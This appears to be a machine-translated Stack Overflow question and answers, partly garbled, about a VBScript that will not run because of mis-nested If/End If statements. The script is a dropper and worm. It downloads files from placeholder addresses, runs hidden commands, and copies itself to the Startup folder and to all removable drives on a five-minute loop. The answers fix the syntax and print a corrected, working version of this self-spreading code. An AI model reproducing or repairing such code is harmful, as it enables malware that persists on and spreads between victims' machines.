Windows 需要vbs错误结束
我正在学习vbs。我在网上找到了这个代码。试图运行它,但无法启动。将某些个人数据替换为地址fileee和commanddddWindows 需要vbs错误结束,windows,vbscript,Windows,Vbscript,我正在学习vbs。我在网上找到了这个代码。试图运行它,但无法启动。将某些个人数据替换为地址fileee和commandddd On Error Resume Next Set WshShell = CreateObject("WScript.Shell") Set fs = CreateObject("Scripting.FileSystemObject") Path = WshShell.SpecialFolders("Startup") dim xHttp: Set xHttp = crea
On Error Resume Next
Set WshShell = CreateObject("WScript.Shell")
Set fs = CreateObject("Scripting.FileSystemObject")
Path = WshShell.SpecialFolders("Startup")
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "adressssssssss", False
xHttp.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "fileeeee", 2 '//overwrite
End with
dim xHttpa: Set xHttpa = createobject("Microsoft.XMLHTTP")
dim bStrma: Set bStrma = createobject("Adodb.Stream")
xHttpa.Open "GET", "adressss", False
xHttpa.Send
with bStrm
.type = 1 '//binary
.open
.write xHttp.responseBody
.savetofile "fileeee", 2 '//overwrite
End with
Dim objWshae
Set objWshae = CreateObject( "WScript.Shell" )
objWshae.Run "commandddd" , 0 , 0
Set(objWshae)=Nothing
Dim objWsh
Set objWsh = CreateObject( "WScript.Shell" )
objWsh.Run "command" , 0 , 0
Set(objWsh)=Nothing
Dim objWsha
Set objWsha = CreateObject( "WScript.Shell" )
objWsha.Run "command" , 0 , 0
Set(objWsha)=Nothing
Start()
Function Start()
X = fs.CopyFile("NX21.vbs", Path & "\", True)
Set dc = fs.Drives
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
End
If
Next
Else
End
If
WScript.Sleep 300000
Start()
End Function
这个代码不会运行?!它给出了错误“预期结束”必须正确嵌套控制语句。因此,即使添加缺少的条件
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
whatever
End
If whatever Then
Next
这是违法的。如果你使用适当的缩进,上述暴行将是显而易见的
二读:也许你的意思是:
For Each d in dc
If (d.DriveType = 1) Then
s = d.DriveLetter
X = fs.CopyFile("NX21.vbs", s & ":\", True)
Else
whatever
End If ' <-- on one line please!
Next
dc中的每个d的
如果(d.DriveType=1),则
s=d.DriveLetter
X=fs.CopyFile(“NX21.vbs”,s&“:\”,True)
其他的
无论什么
如果你似乎不明白自己在做什么,就结束。试着对VBScript有一些基本的了解。不要在错误恢复下一步时使用,
,因为这样会对您隐藏错误。尝试理解、重用Wscript.Shell、AdoDB流和XHTTP对象等对象,以正确的方式将对象设置为Nothing
,正确分配变量,正确使用函数调用。使用显式选项
您的脚本应该是这样的(不需要测试,只是语法上的):
所以它应该是:函数Start()X=fs.CopyFile(“NX21.vbs”,Path&“\”,True)为dc中的每个d设置dc=fs.Drives如果(d.DriveType=1),那么s=d.DriveLetter X=fs.CopyFile(“NX21.vbs”,s&“:\”,True)下一个WScript.Sleep Start()结束Function@KubaSienekSienkiewicz你需要仔细看看Ekkehard的例子,任何If
语句,除非是一行程序,否则需要有相应的End If
Option Explicit
Dim WshShell, Path, xHttp, bStrm
Set WshShell = CreateObject("WScript.Shell")
Path = WshShell.SpecialFolders("Startup")
Set xHttp = createobject("Microsoft.XMLHTTP")
Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "adressssssssss", False
xHttp.Send
bStrm.type = 1 '//binary
bStrm.open
bStrm.write xHttp.responseBody
bStrm.savetofile "fileeeee", 2 '//overwrite
xHttp.Open "GET", "adressss", False
xHttp.Send
bStrm.type = 1 '//binary
bStrm.open
bStrm.write xHttp.responseBody
bStrm.savetofile "fileeee", 2 '//overwrite
Dim objWsh
Set objWsh = CreateObject( "WScript.Shell" )
objWsh.Run "commandddd", 0, 0
objWsh.Run "command", 0, 0
objWsh.Run "command", 0, 0
Call Start()
Function Start()
Dim dc, fs, d, s
Set fs = CreateObject("Scripting.FileSystemObject")
fs.CopyFile "NX21.vbs", Path & "\", True
Set dc = fs.Drives
For Each d in dc
If d.DriveType = 1 Then
s = d.DriveLetter
fs.CopyFile "NX21.vbs", s & ":\", True
Else
' The drivetype was not of a removable type
End If
Next
WScript.Sleep 300000
Call Start() ' <-- Ah, how appropriate, a risk on a Stack Overflow
End Function
Do
Call Start()
WScript.Sleep 300000
Loop